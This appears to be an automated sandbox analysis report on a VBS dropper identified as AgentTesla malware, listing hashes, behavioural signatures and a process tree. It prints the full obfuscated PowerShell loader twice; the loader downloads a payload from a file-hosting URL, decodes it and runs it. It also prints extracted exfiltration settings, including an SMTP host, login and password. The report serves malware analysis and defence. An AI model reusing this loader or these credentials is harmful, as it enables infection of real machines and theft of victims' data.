Analysis
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max time kernel
141s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 14:51
Static task
static1
Behavioral task
behavioral1
Sample
SKIIP 83EC125T1 22-0-05-24RQ.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
SKIIP 83EC125T1 22-0-05-24RQ.vbs
Resource
win10v2004-20240508-en
General
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Target
SKIIP 83EC125T1 22-0-05-24RQ.vbs
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Size
5KB
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MD5
62bc79cdf5d55f891ae6d2a662cb87fc
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SHA1
2ab352feb12da98eca4c5ec9ce4b349f5731ab50
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SHA256
d14ef42bd2f3ecb7ff2e7ea8b7fd79b06f5b048c2f181381b5f8b790b7228f3b
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SHA512
1335d32fa999b5f3729f0b94caf214e09b78c9f3108c05e8fb6fddb828f7d8049a17c2e1b72ca12203ebdda0141d22c326e1986057677fdb9efe6970638c7db2
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SSDEEP
96:QsLisJvmYz2W6/F5J9eI8L7YMH8NJPW0agOVTLU5VFPB5Gv9rmJ/pCz6cfp:QJs7R6/F53IYG8NJu0aTV/cFaFrmxpCv
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.medicalhome.com.pe - Port:
587 - Username:
[email protected] - Password:
MHinfo01 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 6 2624 powershell.exe 8 2624 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GrOcCQC = "C:\\Users\\Admin\\AppData\\Roaming\\GrOcCQC\\GrOcCQC.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 45 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 4164 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 4804 powershell.exe 4164 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4804 set thread context of 4164 4804 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2624 powershell.exe 2624 powershell.exe 2624 powershell.exe 4804 powershell.exe 4804 powershell.exe 4804 powershell.exe 4804 powershell.exe 4164 wab.exe 4164 wab.exe 4164 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 4804 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 4804 powershell.exe Token: SeDebugPrivilege 4164 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 4020 wrote to memory of 2624 4020 WScript.exe powershell.exe PID 4020 wrote to memory of 2624 4020 WScript.exe powershell.exe PID 2624 wrote to memory of 1080 2624 powershell.exe cmd.exe PID 2624 wrote to memory of 1080 2624 powershell.exe cmd.exe PID 2624 wrote to memory of 4804 2624 powershell.exe powershell.exe PID 2624 wrote to memory of 4804 2624 powershell.exe powershell.exe PID 2624 wrote to memory of 4804 2624 powershell.exe powershell.exe PID 4804 wrote to memory of 2316 4804 powershell.exe cmd.exe PID 4804 wrote to memory of 2316 4804 powershell.exe cmd.exe PID 4804 wrote to memory of 2316 4804 powershell.exe cmd.exe PID 4804 wrote to memory of 4164 4804 powershell.exe wab.exe PID 4804 wrote to memory of 4164 4804 powershell.exe wab.exe PID 4804 wrote to memory of 4164 4804 powershell.exe wab.exe PID 4804 wrote to memory of 4164 4804 powershell.exe wab.exe PID 4804 wrote to memory of 4164 4804 powershell.exe wab.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKIIP 83EC125T1 22-0-05-24RQ.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"3⤵PID:1080
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"4⤵PID:2316
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4164
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=1036,i,13640054265074968359,8146127767143474550,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:81⤵PID:1596
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
513KB
MD55b57c4407f9d0632c096d9a498cae912
SHA147b678f24bd4058986a9d87e06fe3826bda70f65
SHA2564d198b43eb5c549aca827741cbb753ddb35bb444cb0599a8afe355f110d74fe6
SHA512bffa2c0c420bd29fca818d9acbd60a637e8f51dbdc789d26decf7169cda9f641deeba8e89aef9ecb74be67c4cb3080269650b55e70da7d1aa095169e4d43f670